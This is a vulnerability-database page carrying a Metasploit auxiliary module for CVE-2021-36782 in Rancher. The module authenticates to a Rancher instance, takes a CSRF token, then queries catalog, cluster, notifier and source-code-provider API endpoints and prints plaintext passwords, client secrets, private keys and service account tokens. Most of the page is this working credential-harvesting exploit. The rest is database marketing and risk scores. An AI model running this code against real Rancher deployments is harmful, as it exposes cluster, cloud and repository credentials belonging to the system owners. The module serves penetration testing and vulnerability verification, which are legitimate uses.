Lucene search
K

Rancher Authenticated API Credential Exposure

🗓️ 31 Aug 2024 00:00:00Reported by h00die, Marco Stuurman, Florian Struck, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 164 Views

Rancher API Credential Exposure through Kubernetes Object

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Rancher Authenticated API Credential Exposure',  
'Description' => %q{  
An issue was discovered in Rancher versions up to and including  
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys  
and Ranchers service account token (used to provision clusters),  
were stored in plaintext directly on Kubernetes objects like Clusters,  
for example cluster.management.cattle.io. Anyone with read access to  
those objects in the Kubernetes API could retrieve the plaintext  
version of those sensitive data.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Florian Struck', # discovery  
'Marco Stuurman' # discovery  
],  
'References' => [  
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],  
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],  
[ 'URL', 'https://fe.ax/cve-2021-36782/'],  
[ 'CVE', '2021-36782']  
],  
'DisclosureDate' => '2022-08-18',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [],  
'Reliability' => [],  
'SideEffects' => []  
}  
)  
)  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with']),  
OptString.new('PASSWORD', [ true, 'Password to login with']),  
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])  
]  
)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def rancher?  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dashboard/'),  
'keep_cookies' => true  
})  
return false unless res&.code == 200  
  
html = res.get_html_document  
title = html.at('title').text  
title == 'dashboard' # this is a VERY weak check  
end  
  
def login  
# get our cookie first with CSRF token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200  
  
json_post_data = JSON.pretty_generate(  
{  
'description' => 'UI session',  
'responseType' => 'cookie',  
'username' => username,  
'password' => password  
}  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/  
  
csrf = ::Regexp.last_match(1)  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),  
'keep_cookies' => true,  
'method' => 'POST',  
'vars_get' => {  
'action' => 'login'  
},  
'headers' => {  
'accept' => 'application/json',  
'X-Api-Csrf' => csrf  
},  
'ctype' => 'application/json',  
'data' => json_post_data  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401  
end  
  
def check  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher?  
  
Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version')  
end  
  
def run  
vprint_status('Attempting login')  
login  
vprint_good('Login successful, querying APIs')  
[  
'/v1/management.cattle.io.catalogs',  
'/v1/management.cattle.io.clusters',  
'/v1/management.cattle.io.clustertemplates',  
'/v1/management.cattle.io.notifiers',  
'/v1/project.cattle.io.sourcecodeproviderconfig',  
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs',  
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters',  
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates',  
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers',  
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs'  
].each do |api_endpoint|  
vprint_status("Querying #{api_endpoint}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, api_endpoint),  
'headers' => {  
'accept' => 'application/json'  
}  
)  
if res.nil?  
vprint_error("No response received from #{api_endpoint}")  
next  
end  
next unless res.code == 200  
  
json_body = res.get_json_document  
next unless json_body.key? 'data'  
  
json_body['data'].each do |data|  
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later  
[  
'Notifier.SMTPConfig.Password',  
'Notifier.WechatConfig.Secret',  
'Notifier.DingtalkConfig.Secret',  
'Catalog.Spec.Password',  
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret',  
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret',  
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret',  
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey',  
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey',  
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword',  
'Cluster.Status.ServiceAccountToken',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword'  
].each do |leaky_key|  
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,  
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word  
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)  
end  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.9
EPSS0.79605
164